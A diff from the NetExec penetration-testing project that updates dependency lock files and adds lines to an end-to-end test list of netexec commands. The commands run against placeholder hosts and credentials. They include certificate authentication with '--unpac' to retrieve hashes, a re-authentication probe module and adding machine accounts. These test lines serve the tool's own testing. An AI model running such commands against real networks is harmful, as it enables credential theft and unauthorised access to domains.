{file = "dploot-4.1.3-py3-none-any.whl", hash = "sha256:dc07c2337ab7ed52cccdf3bbe29de92044c8f5622f31742de183e0f1e634f5d9"},
{file = "dploot-4.1.3.tar.gz", hash = "sha256:fd2688df7db50600e76d71fa3f4c14ec94ef264b2ea5d4fb1a8e4c55d092a662"},
]
[package.dependencies]
cryptography = ">=40.0.1"
impacket = ">=0.13.0"
lxml = ">=5.0"
pick = ">=2.6.0,<3.0.0"
pyasn1 = ">=0.4.8"
pypsrp = ">=0.9.1,<0.10.0"
questionary = ">=2.1.1,<3.0.0"
[[package]]
name = "dsinternals"
@@ -865,23 +865,6 @@ files = [
pycryptodomex = "*"
pyopenssl = "*"
[[package]]
name = "flake8"
version = "7.3.0"
description = "the modular source code checker: pep8 pyflakes and co"
optional = false
python-versions = ">=3.9"
groups = ["dev"]
files = [
{file = "flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e"},
{file = "flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872"},
]
[package.dependencies]
mccabe = ">=0.7.0,<0.8.0"
pycodestyle = ">=2.14.0,<2.15.0"
pyflakes = ">=3.4.0,<3.5.0"
[[package]]
name = "flask"
version = "3.1.3"
@@ -1076,7 +1059,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
[[package]]
name = "impacket"
version = "0.14.0.dev0+20261015.95810.75938fcb"
version = "0.14.0.dev0+20261028.173308.40b1eb7a"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -1100,7 +1083,7 @@ six = "*"
type = "git"
url = "https://github.com/fortra/impacket"
reference = "HEAD"
resolved_reference = "75938fcb0145b476250940d740f71394676288cb"
resolved_reference = "40b1eb7a0d25e1f378c5824c17a87be3fd44260a"
[[package]]
name = "iniconfig"
@@ -1156,25 +1139,6 @@ MarkupSafe = ">=2.0"
[package.extras]
i18n = ["Babel (>=2.7)"]
[[package]]
name = "jwt"
version = "1.4.0"
description = "JSON Web Token library for Python 3."
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11"},
{file = "jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952"},
]
[package.dependencies]
cryptography = ">=3.1,!=3.4.0"
[package.extras]
dev = ["black", "isort", "mypy", "types-freezegun"]
test = ["freezegun", "pytest (>=6.0,<7.0)", "pytest-cov"]
[[package]]
name = "ldap3"
version = "2.9.1"
@@ -1519,18 +1483,6 @@ cryptography = ">=3.5"
impacket = "*"
pyasn1 = "*"
[[package]]
name = "mccabe"
version = "0.7.0"
description = "McCabe checker, plugin for flake8"
optional = false
python-versions = ">=3.6"
groups = ["dev"]
files = [
{file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"},
{file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
]
[[package]]
name = "mdurl"
version = "0.1.2"
@@ -1730,24 +1682,6 @@ files = [
{file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"},
]
[[package]]
name = "pick"
version = "2.6.0"
description = "Pick an option in the terminal with a simple GUI"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"},
{file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"},
]
[package.dependencies]
windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""}
[package.extras]
blessed = ["blessed (>=1.17.0)"]
[[package]]
name = "pillow"
version = "12.3.0"
@@ -1923,18 +1857,6 @@ files = [
[package.dependencies]
pyasn1 = ">=0.6.1,<0.7.0"
[[package]]
name = "pycodestyle"
version = "2.14.0"
description = "Python style guide checker"
optional = false
python-versions = ">=3.9"
groups = ["dev"]
files = [
{file = "pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d"},
{file = "pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783"},
]
[[package]]
name = "pycparser"
version = "3.0"
@@ -2193,18 +2115,6 @@ files = [
[package.dependencies]
typing-extensions = ">=4.14.1"
[[package]]
name = "pyflakes"
version = "3.4.0"
description = "passive checker of Python programs"
optional = false
python-versions = ">=3.9"
groups = ["dev"]
files = [
{file = "pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f"},
{file = "pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58"},
]
[[package]]
name = "pygments"
version = "2.20.0"
@@ -2439,21 +2349,6 @@ pluggy = ">=0.12,<2.0"
[package.extras]
testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
[[package]]
name = "python-dateutil"
version = "2.9.0.post0"
description = "Extensions to the standard Python datetime module"
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
groups = ["main"]
files = [
{file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"},
{file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"},
]
[package.dependencies]
six = ">=1.5"
[[package]]
name = "python-libnmap"
version = "0.7.3"
@@ -2480,6 +2375,21 @@ files = [
{file = "pytz-2026.3.post1.tar.gz", hash = "sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d"},
]
[[package]]
name = "questionary"
version = "2.1.1"
description = "Python library to build pretty command line user prompts ⭐️"
optional = false
python-versions = ">=3.9"
groups = ["main"]
files = [
{file = "questionary-2.1.1-py3-none-any.whl", hash = "sha256:a51af13f345f1cdea62347589fbb6df3b290306ab8930713bfae4d475a7d4a59"},
{file = "questionary-2.1.1.tar.gz", hash = "sha256:3d7e980292bb0107abaa79c68dd3eee3c561b83a0f89ae482860b181c8bd412d"},
]
[package.dependencies]
prompt_toolkit = ">=2.0,<4.0"
[[package]]
name = "requests"
version = "2.32.5"
@@ -2913,35 +2823,6 @@ files = [
[package.dependencies]
cryptography = ">=38.0.1"
[[package]]
name = "windows-curses"
version = "2.4.2"
description = "Support for the standard curses module on Windows"
optional = false
python-versions = "*"
groups = ["main"]
markers = "platform_system == \"Windows\""
files = [
{file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"},
{file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"},
{file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"},
{file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"},
{file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"},
{file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"},
{file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"},
{file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"},
{file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"},
{file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"},
{file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"},
{file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"},
{file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"},
{file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"},
{file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"},
{file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"},
{file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"},
{file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"},
]
[[package]]
name = "xmltodict"
version = "1.0.4"
@@ -2960,4 +2841,4 @@ test = ["pytest", "pytest-cov"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.11,<4.0"
content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65"
content-hash = "6ba2529d5c77bb8a64abe738ec3117d903a34de437bdd5eea0b7f0830a9ec0f9"
+2 -9
View File
@@ -20,16 +20,14 @@ dependencies = [
"aardwolf>=0.2.16",
"argcomplete>=3.1.4",
"asyauth>=0.0.20",
"beautifulsoup4>=4.11,<5",
"bloodhound-ce>=1.8.0",
"certihound>=0.1.1",
"certipy-nxc>=5.1.0.post1",
"cryptography>=42.0.8",
"dploot>=4.0.0",
"dploot>=4.1.3",
"dsinternals>=1.2.4",
"jwt>=1.3.1",
"lsassy>=3.1.11",
"masky>=0.2.1",
"minikerberos>=0.4.1",
"neo4j>=5.0.0",
"netifaces (>=0.11.0,<0.12.0)",
"paramiko>=3.3.1",
@@ -38,7 +36,6 @@ dependencies = [
"pylnk3>=0.4.3",
"pypsrp>=0.8.1",
"pypykatz>=0.6.8",
"python-dateutil>=2.8.2",
"python-libnmap>=0.7.3",
"requests>=2.27.1",
"rich>=13.3.5",
@@ -47,7 +44,6 @@ dependencies = [
"terminaltables3>=4.0.0",
"xmltodict>=0.13.0",
# Git Dependencies
"certipy-nxc>=5.1.0.post1",
"impacket @ git+https://github.com/fortra/impacket",
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
]
@@ -87,7 +83,6 @@ build-backend = "poetry_dynamic_versioning.backend"
# uv and poetry native dev group (PEP 735)
[dependency-groups]
dev = [
"flake8",
"shiv",
"pytest>=7.2.2,<8",
"ruff",
@@ -98,8 +93,6 @@ dev = [
# malicious or compromised releases before they are selected during resolution.
[tool.uv]
exclude-newer = "1 day"
# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day
exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" }
[tool.ruff]
preview = true
+5
View File
@@ -5,6 +5,8 @@ netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile
netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME --pfx-cert TEST_PFX_FILE
netexec smb TARGET_HOST -u LOGIN_USERNAME --pfx-cert TEST_PFX_FILE --unpac
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
@@ -76,6 +78,7 @@ netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBERO
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### SMB Modules
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L enumeration
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
@@ -153,6 +156,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reauth_swap -o PROBE_USER=SECOND_USERNAME PROBE_PASS=SECOND_PASSWORD
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
@@ -162,6 +166,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -
# spider_plus takes a while to run, so it is commented out during normal testing
# netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac
Generated
+19 -112
View File
@@ -6,9 +6,6 @@ requires-python = ">=3.11, <4.0"
exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
exclude-newer-span = "P1D"
[options.exclude-newer-package]
certipy-nxc = "2026-10-14T17:00:00Z"
[[package]]
name = "aardwolf"
version = "0.2.16"
@@ -709,19 +706,19 @@ wheels = [
[[package]]
name = "dploot"
version = "4.1.1"
version = "4.1.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cryptography" },
{ name = "impacket" },
{ name = "lxml" },
{ name = "pick" },
{ name = "pyasn1" },
{ name = "pypsrp" },
{ name = "questionary" },
]
sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" }
sdist = { url = "https://files.pythonhosted.org/packages/b7/e8/941cf46b691b6d29c36e65ab00c32c74808fb88e010fb84e40fab8a655de/dploot-4.1.3.tar.gz", hash = "sha256:fd2688df7db50600e76d71fa3f4c14ec94ef264b2ea5d4fb1a8e4c55d092a662", size = 72481, upload-time = "2026-10-27T14:31:08.593Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" },
{ url = "https://files.pythonhosted.org/packages/64/39/fdf1696352a48a863ab9420197beaf1566bd285dfcc95af8becd1d745efd/dploot-4.1.3-py3-none-any.whl", hash = "sha256:dc07c2337ab7ed52cccdf3bbe29de92044c8f5622f31742de183e0f1e634f5d9", size = 101476, upload-time = "2026-10-27T14:31:09.817Z" },
]
[[package]]
@@ -736,20 +733,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" },
]
[[package]]
name = "flake8"
version = "7.3.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "mccabe" },
{ name = "pycodestyle" },
{ name = "pyflakes" },
]
sdist = { url = "https://files.pythonhosted.org/packages/9b/af/fbfe3c4b5a657d79e5c47a2827a362f9e1b763336a52f926126aa6dc7123/flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872", size = 48326, upload-time = "2025-06-20T19:31:35.838Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/9f/56/13ab06b4f93ca7cac71078fbe37fcea175d3216f31f85c3168a6bbd0bb9a/flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e", size = 57922, upload-time = "2025-06-20T19:31:34.425Z" },
]
[[package]]
name = "flask"
version = "3.1.3"
@@ -878,8 +861,8 @@ wheels = [
[[package]]
name = "impacket"
version = "0.14.0.dev0+20261015.95810.75938fcb"
source = { git = "https://github.com/fortra/impacket#75938fcb0145b476250940d740f71394676288cb" }
version = "0.14.0.dev0+20261028.173308.40b1eb7a"
source = { git = "https://github.com/fortra/impacket#40b1eb7a0d25e1f378c5824c17a87be3fd44260a" }
dependencies = [
{ name = "charset-normalizer" },
{ name = "flask" },
@@ -932,18 +915,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
]
[[package]]
name = "jwt"
version = "1.4.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cryptography" },
]
sdist = { url = "https://files.pythonhosted.org/packages/7f/20/21254c9e601e6c29445d1e8854c2a81bdb554e07a82fb1f9846137a6965c/jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952", size = 24911, upload-time = "2025-06-23T13:28:38.289Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b9/80/34e3fae850adb0b7b8b9b1cf02b2d975fcb68e0e8eb7d56d6b4fc23f7433/jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11", size = 18248, upload-time = "2025-06-23T13:28:37.012Z" },
]
[[package]]
name = "ldap3"
version = "2.9.1"
@@ -1188,15 +1159,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/9b/e1/4986c6c786d2ba8475c0344c9fa6a060050f9d4d029141b135d44ed5210e/masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b", size = 285166, upload-time = "2025-08-15T22:16:19.663Z" },
]
[[package]]
name = "mccabe"
version = "0.7.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" },
]
[[package]]
name = "mdurl"
version = "0.1.2"
@@ -1280,7 +1242,6 @@ dependencies = [
{ name = "aardwolf" },
{ name = "argcomplete" },
{ name = "asyauth" },
{ name = "beautifulsoup4" },
{ name = "bloodhound-ce" },
{ name = "certihound" },
{ name = "certipy-nxc" },
@@ -1288,10 +1249,8 @@ dependencies = [
{ name = "dploot" },
{ name = "dsinternals" },
{ name = "impacket" },
{ name = "jwt" },
{ name = "lsassy" },
{ name = "masky" },
{ name = "minikerberos" },
{ name = "neo4j" },
{ name = "netifaces" },
{ name = "paramiko" },
@@ -1301,7 +1260,6 @@ dependencies = [
{ name = "pynfsclient" },
{ name = "pypsrp" },
{ name = "pypykatz" },
{ name = "python-dateutil" },
{ name = "python-libnmap" },
{ name = "requests" },
{ name = "rich" },
@@ -1313,7 +1271,6 @@ dependencies = [
[package.dev-dependencies]
dev = [
{ name = "flake8" },
{ name = "pytest" },
{ name = "ruff" },
{ name = "shiv" },
@@ -1324,18 +1281,15 @@ requires-dist = [
{ name = "aardwolf", specifier = ">=0.2.16" },
{ name = "argcomplete", specifier = ">=3.1.4" },
{ name = "asyauth", specifier = ">=0.0.20" },
{ name = "beautifulsoup4", specifier = ">=4.11,<5" },
{ name = "bloodhound-ce", specifier = ">=1.8.0" },
{ name = "certihound", specifier = ">=0.1.1" },
{ name = "certipy-nxc", specifier = ">=5.1.0.post1" },
{ name = "cryptography", specifier = ">=42.0.8" },
{ name = "dploot", specifier = ">=4.0.0" },
{ name = "dploot", specifier = ">=4.1.3" },
{ name = "dsinternals", specifier = ">=1.2.4" },
{ name = "impacket", git = "https://github.com/fortra/impacket" },
{ name = "jwt", specifier = ">=1.3.1" },
{ name = "lsassy", specifier = ">=3.1.11" },
{ name = "masky", specifier = ">=0.2.1" },
{ name = "minikerberos", specifier = ">=0.4.1" },
{ name = "neo4j", specifier = ">=5.0.0" },
{ name = "netifaces", specifier = ">=0.11.0,<0.12.0" },
{ name = "paramiko", specifier = ">=3.3.1" },
@@ -1345,7 +1299,6 @@ requires-dist = [
{ name = "pynfsclient", git = "https://github.com/Pennyw0rth/NfsClient" },
{ name = "pypsrp", specifier = ">=0.8.1" },
{ name = "pypykatz", specifier = ">=0.6.8" },
{ name = "python-dateutil", specifier = ">=2.8.2" },
{ name = "python-libnmap", specifier = ">=0.7.3" },
{ name = "requests", specifier = ">=2.27.1" },
{ name = "rich", specifier = ">=13.3.5" },
@@ -1357,7 +1310,6 @@ requires-dist = [
[package.metadata.requires-dev]
dev = [
{ name = "flake8" },
{ name = "pytest", specifier = ">=7.2.2,<8" },
{ name = "ruff" },
{ name = "shiv" },
@@ -1414,18 +1366,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
]
[[package]]
name = "pick"
version = "2.6.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "windows-curses", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" },
]
[[package]]
name = "pillow"
version = "12.3.0"
@@ -1562,15 +1502,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", size = 181259, upload-time = "2025-03-28T02:41:19.028Z" },
]
[[package]]
name = "pycodestyle"
version = "2.14.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/11/e0/abfd2a0d2efe47670df87f3e3a0e2edda42f055053c85361f19c0e2c1ca8/pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783", size = 39472, upload-time = "2025-06-20T18:49:48.75Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d7/27/a58ddaf8c588a3ef080db9d0b7e0b97215cee3a45df74f3a94dbbf5c893a/pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d", size = 31594, upload-time = "2025-06-20T18:49:47.491Z" },
]
[[package]]
name = "pycparser"
version = "3.0"
@@ -1745,15 +1676,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" },
]
[[package]]
name = "pyflakes"
version = "3.4.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/45/dc/fd034dc20b4b264b3d015808458391acbf9df40b1e54750ef175d39180b1/pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58", size = 64669, upload-time = "2025-06-20T18:45:27.834Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c2/2f/81d580a0fb83baeb066698975cb14a618bdbed7720678566f1b046a95fe8/pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f", size = 63551, upload-time = "2025-06-20T18:45:26.937Z" },
]
[[package]]
name = "pygments"
version = "2.20.0"
@@ -1914,18 +1836,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/51/ff/f6e8b8f39e08547faece4bd80f89d5a8de68a38b2d179cc1c4490ffa3286/pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8", size = 325287, upload-time = "2023-12-31T12:00:13.963Z" },
]
[[package]]
name = "python-dateutil"
version = "2.9.0.post0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "six" },
]
